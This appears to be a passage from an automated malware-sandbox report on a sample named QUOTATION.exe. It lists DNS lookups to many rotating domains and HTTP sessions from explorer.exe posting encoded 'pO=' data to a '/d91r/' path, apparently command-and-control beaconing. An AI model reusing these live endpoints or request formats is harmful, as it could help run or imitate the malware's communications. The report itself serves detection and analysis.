Mar 20, 2023 15:21:23.158859015 CET	192.168.11.20	9.9.9.9	0x12fe	Standard query (0)	www.maxhaidt.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:35.843214989 CET	192.168.11.20	9.9.9.9	0xdaa5	Standard query (0)	www.ghostdyes.net	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:48.528294086 CET	192.168.11.20	9.9.9.9	0xd7e4	Standard query (0)	www.aznqmd.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:49.542886019 CET	192.168.11.20	1.1.1.1	0xd7e4	Standard query (0)	www.aznqmd.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:23:40.617893934 CET	192.168.11.20	1.1.1.1	0xde40	Standard query (0)	www.texasgent.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:23:53.302267075 CET	192.168.11.20	1.1.1.1	0xf0c7	Standard query (0)	www.brightfms.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:24:06.127868891 CET	192.168.11.20	1.1.1.1	0xf233	Standard query (0)	www.eta-trader.net	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:24:19.062555075 CET	192.168.11.20	1.1.1.1	0x3a4c	Standard query (0)	www.funvacayflorida.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 15:18:02.608556032 CET	1.1.1.1	192.168.11.20	0x1c4d	No error (0)	www.wittofitentertainment.com		162.240.73.101	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:18.711512089 CET	1.1.1.1	192.168.11.20	0x98a8	No error (0)	www.interactive-media.ru		88.212.206.251	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.56.79.23	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		72.14.185.43	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		96.126.123.244	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.33.2.79	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		198.58.118.167	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.33.18.44	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.79.19.196	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		173.255.194.134	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		72.14.178.174	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.33.30.197	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.33.20.235	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:34.082026005 CET	1.1.1.1	192.168.11.20	0xba84	No error (0)	www.cardinialethanol.com		45.33.23.183	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:48.455698967 CET	9.9.9.9	192.168.11.20	0x75cf	No error (0)	www.flaviosilva.online	flaviosilva.online		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 15:19:48.455698967 CET	9.9.9.9	192.168.11.20	0x75cf	No error (0)	flaviosilva.online		2.57.90.16	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:01.883713961 CET	9.9.9.9	192.168.11.20	0x4fad	No error (0)	www.solya-shop.com		217.160.0.217	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:14.876192093 CET	9.9.9.9	192.168.11.20	0xe38e	No error (0)	www.buymyenergy.com		45.194.145.38	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:29.266885042 CET	9.9.9.9	192.168.11.20	0x120a	No error (0)	www.184411.com	bb.zhanghonghong.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 15:20:29.266885042 CET	9.9.9.9	192.168.11.20	0x120a	No error (0)	bb.zhanghonghong.com		154.215.156.6	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:43.541076899 CET	9.9.9.9	192.168.11.20	0x5dd8	No error (0)	www.b-tek.media		91.184.0.24	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:01.581758022 CET	9.9.9.9	192.168.11.20	0x4796	No error (0)	www.dexmart.xyz		199.192.26.35	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:15.100657940 CET	9.9.9.9	192.168.11.20	0x3a80	Name error (3)	www.finelinetackdirect.com	none	none	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:23.171194077 CET	9.9.9.9	192.168.11.20	0x12fe	No error (0)	www.maxhaidt.com		104.21.45.96	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:23.171194077 CET	9.9.9.9	192.168.11.20	0x12fe	No error (0)	www.maxhaidt.com		172.67.212.220	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:35.862637043 CET	9.9.9.9	192.168.11.20	0xdaa5	No error (0)	www.ghostdyes.net	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 15:21:35.862637043 CET	9.9.9.9	192.168.11.20	0xdaa5	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 15:21:35.862637043 CET	9.9.9.9	192.168.11.20	0xdaa5	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:50.192517996 CET	1.1.1.1	192.168.11.20	0xd7e4	No error (0)	www.aznqmd.com		23.83.160.9	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:50.282391071 CET	9.9.9.9	192.168.11.20	0xd7e4	No error (0)	www.aznqmd.com		23.83.160.9	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:23:40.659782887 CET	1.1.1.1	192.168.11.20	0xde40	No error (0)	www.texasgent.com		81.17.29.148	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:23:53.482983112 CET	1.1.1.1	192.168.11.20	0xf0c7	No error (0)	www.brightfms.com		81.17.18.196	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:24:06.316566944 CET	1.1.1.1	192.168.11.20	0xf233	No error (0)	www.eta-trader.net	eta-trader.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 15:24:06.316566944 CET	1.1.1.1	192.168.11.20	0xf233	No error (0)	eta-trader.net		2.57.90.16	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:24:19.372790098 CET	1.1.1.1	192.168.11.20	0x3a4c	No error (0)	www.funvacayflorida.com		208.91.197.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.wittofitentertainment.com

www.interactive-media.ru

www.cardinialethanol.com

www.flaviosilva.online

www.solya-shop.com

www.buymyenergy.com

www.184411.com

www.b-tek.media

www.dexmart.xyz

www.maxhaidt.com

www.ghostdyes.net

www.aznqmd.com

www.texasgent.com

www.brightfms.com

www.eta-trader.net

www.funvacayflorida.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49835	162.240.73.101	443	C:\Users\user\Desktop\QUOTATION.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49841	88.212.206.251	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:18.763731956 CET	395	OUT	GET /d91r/?pO=iC4EpsnjqAMsGvgWFbn+fContgVXGATBB72AUlNsZB8RnX0iaYC7Rjz9cHXMA4a3u8hdEGRv958fgJWC172SOiEaLo/g5aJ7NA==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.interactive-media.ru Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:19:18.814379930 CET	397	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 Date: Mon, 20 Mar 2023 14:19:18 GMT Content-Type: text/html Content-Length: 62299 Connection: close ETag: "627b7393-f35b" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 54 72 75 65 22 20 2f 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4d 6f 62 69 6c 65 4f 70 74 69 6d 69 7a 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 33 32 30 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e d0 92 d0 b8 d1 82 d1 80 d0 b8 d0 bd d0 b0 20 d0 b4 d0 be d0 bc d0 b5 d0 bd d0 b0 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 73 73 2f 73 68 6f 70 77 69 6e 64 6f 77 2e 63 73 73 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 73 76 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 22 3e 0a 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 74 72 61 64 65 2e 77 65 62 6e 61 6d 65 73 2e 72 75 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 bf d1 80 d0 be d0 b4 d0 b0 d0 b5 d1 82 d1 81 d1 8f 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 74 72 61 64 65 2e 77 65 62 6e 61 6d 65 73 2e 72 75 2f 69 6d 67 2f 6f 67 5f 69 6d 61 67 65 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 2d 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 31 30 20 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 73 6d 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="HandheldFriendly" content="True" /> <meta name="MobileOptimized" content="320" /> <title> </title> <meta name="description" content="" /> <link rel="stylesheet" href="css/shopwindow.css"> <link rel="shortcut icon" href="img/favicon.svg" type="image/svg+xml"> <meta property="og:url" content="http://trade.webnames.ru"> <meta property="og:type" content="website"> <meta property="og:title" content=" "> <meta property="og:description" content=""> <meta property="og:image" content="http://trade.webnames.ru/img/og_image.png"></head><body> <div class="wrapper-main"> <div class="row"> <div class="col-lg-10 col-lg-push-1"> <header class="header"> <div class="row"> <div class="col-sm-4"> <div class="header__logo"> <a href="https://www.w
Mar 20, 2023 15:19:18.814469099 CET	398	IN	Data Raw: 65 62 6e 61 6d 65 73 2e 72 75 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 73 68 6f 70 77 69 6e 64 6f 77 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 6c 69 63 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 69 6e 64 6f 77 5f 6c 6f 67 6f 26 77 6e 5f Data Ascii: ebnames.ru?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow_logo&wn_campaign=shopwindow_logo" class="header__logo-link"> <img src="https://www.webnames.ru/wn/img/logo-horizontal.svg" alt="webnames.ru" class="hea
Mar 20, 2023 15:19:18.814534903 CET	399	IN	Data Raw: 75 72 63 65 3d 73 68 6f 70 77 69 6e 64 6f 77 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 6c 69 63 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 69 6e 64 6f 77 5f 68 6f 73 74 69 6e 67 26 77 6e 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 Data Ascii: urce=shopwindow&utm_medium=click&utm_campaign=shopwindow_hosting&wn_campaign=shopwindow_hosting" class="header__menu-link"> </a> <a href="https://www.webnames.ru/ssl?utm_source=shopwindow&utm_medium=clic
Mar 20, 2023 15:19:18.814596891 CET	401	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d0 94 d0 be d0 bc d0 b5 d0 bd 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 Data Ascii: <br> <span class="js-dname banner__header-main text-default"></span> <br> <br>
Mar 20, 2023 15:19:18.814657927 CET	402	IN	Data Raw: 68 6f 70 77 69 6e 64 6f 77 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 6c 69 63 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 69 6e 64 6f 77 5f 63 6f 6e 74 61 63 74 5f 6f 77 6e 65 72 5f 6c 69 6e 6b 26 77 6e 5f 63 61 6d 70 61 69 67 6e 3d Data Ascii: hopwindow&utm_medium=click&utm_campaign=shopwindow_contact_owner_link&wn_campaign=shopwindow_contact_owner_link" target="_blank" class="js-contactLink link_underline hide"> </a> <a href=
Mar 20, 2023 15:19:18.814718962 CET	403	IN	Data Raw: 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 3c 73 74 79 6c 65 3e 2e 73 74 30 7b 66 69 6c 6c 3a 23 63 63 64 39 66 66 7d 2e 73 74 31 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 73 74 34 7b 6f 70 61 63 69 74 79 3a 2e 31 3b 65 6e 61 62 6c 65 2d 62 61 63 6b Data Ascii: ace="preserve"><style>.st0{fill:#ccd9ff}.st1{fill:#fff}.st4{opacity:.1;enable-background:new}.st7{opacity:5.000000e-02}.st8{opacity:.3;enable-background:new}.st12{fill:#ee5f61}.st16{opacity:.5;enable-background:new}.st22{fill:#ffcebf}.st24{fil
Mar 20, 2023 15:19:18.814785957 CET	405	IN	Data Raw: 36 20 32 31 2e 39 20 31 2e 32 20 37 2e 35 20 31 2e 37 20 31 35 2e 31 20 31 2e 36 20 32 32 2e 36 2d 2e 34 20 31 35 2e 31 2d 33 2e 34 20 33 30 2e 31 2d 39 2e 31 20 34 34 20 34 2e 37 2d 31 34 2e 32 20 37 2e 32 2d 32 39 2e 31 20 36 2e 39 2d 34 34 2d Data Ascii: 6 21.9 1.2 7.5 1.7 15.1 1.6 22.6-.4 15.1-3.4 30.1-9.1 44 4.7-14.2 7.2-29.1 6.9-44-.1-7.4-.8-14.8-2.3-22.1l-1.2-5.4-1.5-5.4-1.7-5.3c-.7-1.7-1.3-3.5-2-5.1-5.7-13.7-13.7-26.2-23.6-37.2-2.4-2.8-5-5.4-7.6-8-2.7-2.5-5.4-5-8.2-7.4-5.7-4.7-11.8-8.9-18
Mar 20, 2023 15:19:18.814848900 CET	406	IN	Data Raw: 20 32 2e 38 20 33 2e 35 20 31 20 37 20 32 2e 31 20 31 30 2e 35 20 33 2e 33 2d 33 2e 35 2d 2e 39 2d 37 2d 31 2e 38 2d 31 30 2e 36 2d 32 2e 36 2d 33 2e 35 2d 2e 39 2d 37 2e 31 2d 31 2e 36 2d 31 30 2e 37 2d 32 2e 33 2d 37 2e 32 2d 31 2e 34 2d 31 34 Data Ascii: 2.8 3.5 1 7 2.1 10.5 3.3-3.5-.9-7-1.8-10.6-2.6-3.5-.9-7.1-1.6-10.7-2.3-7.2-1.4-14.3-2.5-21.6-3.1-7.2-.7-14.5-1-21.7-.9-7.2.1-14.4.7-21.5 1.9-3.6.6-7.1 1.3-10.6 2.1-3.5.9-6.9 1.8-10.4 3-6.8 2.4-13.5 5.1-19.9 8.3-6.4 3.3-12.7 6.8-18.6 10.8l-4.4
Mar 20, 2023 15:19:18.814913034 CET	407	IN	Data Raw: 2e 39 20 32 2e 33 2d 31 2e 37 20 34 2e 37 2d 32 2e 35 20 37 2d 2e 34 20 31 2e 32 2d 2e 38 20 32 2e 33 2d 31 2e 32 20 33 2e 35 6c 2d 31 2e 31 20 33 2e 36 2d 31 2e 31 20 33 2e 36 2d 31 20 33 2e 36 2d 2e 39 20 33 2e 36 63 2d 2e 33 20 31 2e 32 2d 2e Data Ascii: .9 2.3-1.7 4.7-2.5 7-.4 1.2-.8 2.3-1.2 3.5l-1.1 3.6-1.1 3.6-1 3.6-.9 3.6c-.3 1.2-.5 2.4-.8 3.6-.5 2.4-1.1 4.8-1.5 7.3-1.8 9.8-2.9 19.6-3.3 29.5-.4 9.9.2 19.8 1.2 29.7.3 2.5.7 4.9 1 7.4.4 2.4.8 4.9 1.3 7.3.5 2.4 1 4.9 1.6 7.3l.9 3.6c.2.6.3 1.2.
Mar 20, 2023 15:19:18.814975023 CET	409	IN	Data Raw: 2e 34 20 35 38 2e 39 63 2d 38 2e 35 20 31 34 2e 34 2d 32 37 2e 31 20 31 39 2e 32 2d 34 31 2e 36 20 31 30 2e 37 2d 31 34 2e 34 2d 38 2e 35 2d 31 39 2e 32 2d 32 37 2e 31 2d 31 30 2e 37 2d 34 31 2e 36 20 38 2e 35 2d 31 34 2e 34 20 32 37 2e 31 2d 31 Data Ascii: .4 58.9c-8.5 14.4-27.1 19.2-41.6 10.7-14.4-8.5-19.2-27.1-10.7-41.6 8.5-14.4 27.1-19.2 41.5-10.7 14.6 8.6 19.3 27.2 10.8 41.6zm-41.3-153.9c0-6.3-2.6-12.2-7.1-16.5l-.7-.6c-4.2-3.6-9.5-5.7-15-5.7-1 0-2.1.1-3.1.2-.2.1-.4.1-.6.1-4.2.7-8.1 2.5-11.4
Mar 20, 2023 15:19:18.864437103 CET	410	IN	Data Raw: 2d 2e 31 2d 2e 33 2d 2e 31 2d 2e 31 20 30 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 33 2d 2e 31 2d 2e 31 20 30 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 33 2d 2e 31 2d 2e 31 Data Ascii: -.1-.3-.1-.1 0-.1-.1-.2-.1-.1-.1-.2-.1-.3-.1-.1 0-.1-.1-.2-.1-.1-.1-.2-.1-.3-.1-.1-.1-.1-.1-.2-.1-.1-.1-.2-.1-.3-.1-.1-.1-.1-.1-.2-.1-.1-.1-.2-.1-.3-.2-.1-.1-.1-.1-.2-.1-.1-.1-.2-.1-.2-.2s-.1-.1-.2-.1c-.1-.1-.2-.1-.2-.2s-.1-.1-.2-.1c-.1-.1-.2-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49853	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:01.899341106 CET	643	OUT	POST /d91r/ HTTP/1.1 Host: www.solya-shop.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.solya-shop.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solya-shop.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 32 4e 39 63 74 64 67 46 6e 31 39 55 70 31 66 73 46 66 4c 58 34 38 55 72 7a 52 48 6b 42 55 30 43 51 76 59 41 41 4b 68 74 47 71 43 53 52 47 50 35 44 34 4b 77 30 31 44 4a 36 52 64 78 46 71 54 6d 56 39 49 46 6a 6b 6c 73 45 34 56 58 47 38 67 61 6c 4b 72 45 7a 50 30 36 35 54 71 58 48 55 31 52 51 2d 28 42 48 6c 4f 68 7a 6f 38 4b 79 76 51 5a 33 70 61 43 72 65 55 4c 77 4f 41 6d 51 67 64 66 74 77 67 2d 64 51 67 70 61 42 41 76 64 33 52 34 6e 4f 57 4b 65 6b 6b 5f 75 55 61 6d 4f 66 32 65 51 58 66 4d 72 4a 4f 6f 71 55 6f 73 5a 50 5a 62 62 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=2N9ctdgFn19Up1fsFfLX48UrzRHkBU0CQvYAAKhtGqCSRGP5D4Kw01DJ6RdxFqTmV9IFjklsE4VXG8galKrEzP065TqXHU1RQ-(BHlOhzo8KyvQZ3paCreULwOAmQgdftwg-dQgpaBAvd3R4nOWKekk_uUamOf2eQXfMrJOoqUosZPZbbw).
Mar 20, 2023 15:20:01.915718079 CET	643	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:20:01 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49854	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:04.440377951 CET	644	OUT	POST /d91r/ HTTP/1.1 Host: www.solya-shop.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.solya-shop.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solya-shop.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 32 4e 39 63 74 64 67 46 6e 31 39 55 6f 55 76 73 56 4d 7a 58 35 63 55 6f 76 42 48 6b 61 45 30 4f 51 76 63 41 41 4f 34 77 48 59 6d 53 53 6e 28 35 43 36 79 77 31 31 44 4a 31 78 64 30 64 4b 53 71 56 39 45 4e 6a 6c 5a 73 45 38 39 58 48 4b 30 61 6e 36 72 48 34 76 30 37 78 7a 71 57 57 45 31 62 51 2d 43 6f 48 6b 61 68 7a 59 41 4b 38 4d 34 5a 7a 37 69 46 38 75 55 4e 32 4f 41 70 61 41 64 72 74 77 74 44 64 52 49 35 61 77 6b 76 64 55 70 34 6b 4f 57 4a 57 55 6b 79 6d 30 61 77 4f 4f 62 54 66 6d 44 51 32 59 48 57 7a 68 35 49 55 37 77 70 5a 55 32 65 57 48 52 4c 72 35 7a 49 5a 62 36 6e 55 7a 7a 6e 67 72 56 4d 56 73 52 54 76 49 66 50 59 31 32 6b 6c 49 46 45 79 66 79 54 52 49 4b 48 57 33 61 73 4b 2d 48 62 5a 6a 52 51 7a 4c 54 51 39 6e 71 44 78 54 51 66 6a 35 48 6c 71 53 7e 34 35 58 74 73 46 5a 58 47 63 73 37 6d 61 58 4f 77 59 73 77 6e 49 39 76 61 33 53 31 41 4f 49 6c 2d 58 70 59 42 79 5a 61 6e 74 74 63 65 51 38 4f 41 44 69 77 2d 5a 39 62 73 75 77 53 68 62 65 34 6d 4a 45 33 6d 46 65 78 57 4f 5a 72 2d 31 4b 61 53 46 2d 75 47 41 45 58 32 79 49 30 7a 46 72 52 44 42 71 6c 63 67 36 36 7a 4c 43 4d 68 53 72 30 46 70 39 50 75 42 43 49 64 57 49 36 45 76 32 76 46 73 46 32 53 74 61 70 52 6a 62 61 48 64 51 4c 35 36 4d 43 2d 7e 69 52 59 28 4c 56 58 51 6e 4c 48 50 77 61 4c 50 2d 47 68 69 6b 4d 4a 78 4a 70 4a 31 41 42 78 45 55 28 2d 69 36 33 66 61 51 47 4e 6f 44 74 35 55 6d 4a 70 4b 32 28 6b 6c 5f 39 4c 45 69 53 53 55 75 44 73 74 66 72 6e 73 30 33 30 4c 63 63 31 5a 37 7e 65 75 62 68 64 36 4e 5a 76 30 35 75 6b 68 48 33 69 79 46 7e 57 69 49 41 39 67 39 35 6a 4a 69 6b 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=2N9ctdgFn19UoUvsVMzX5cUovBHkaE0OQvcAAO4wHYmSSn(5C6yw11DJ1xd0dKSqV9ENjlZsE89XHK0an6rH4v07xzqWWE1bQ-CoHkahzYAK8M4Zz7iF8uUN2OApaAdrtwtDdRI5awkvdUp4kOWJWUkym0awOObTfmDQ2YHWzh5IU7wpZU2eWHRLr5zIZb6nUzzngrVMVsRTvIfPY12klIFEyfyTRIKHW3asK-HbZjRQzLTQ9nqDxTQfj5HlqS~45XtsFZXGcs7maXOwYswnI9va3S1AOIl-XpYByZanttceQ8OADiw-Z9bsuwShbe4mJE3mFexWOZr-1KaSF-uGAEX2yI0zFrRDBqlcg66zLCMhSr0Fp9PuBCIdWI6Ev2vFsF2StapRjbaHdQL56MC-~iRY(LVXQnLHPwaLP-GhikMJxJpJ1ABxEU(-i63faQGNoDt5UmJpK2(kl_9LEiSSUuDstfrns030Lcc1Z7~eubhd6NZv05ukhH3iyF~WiIA9g95jJik.
Mar 20, 2023 15:20:04.456214905 CET	645	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:20:04 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49855	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
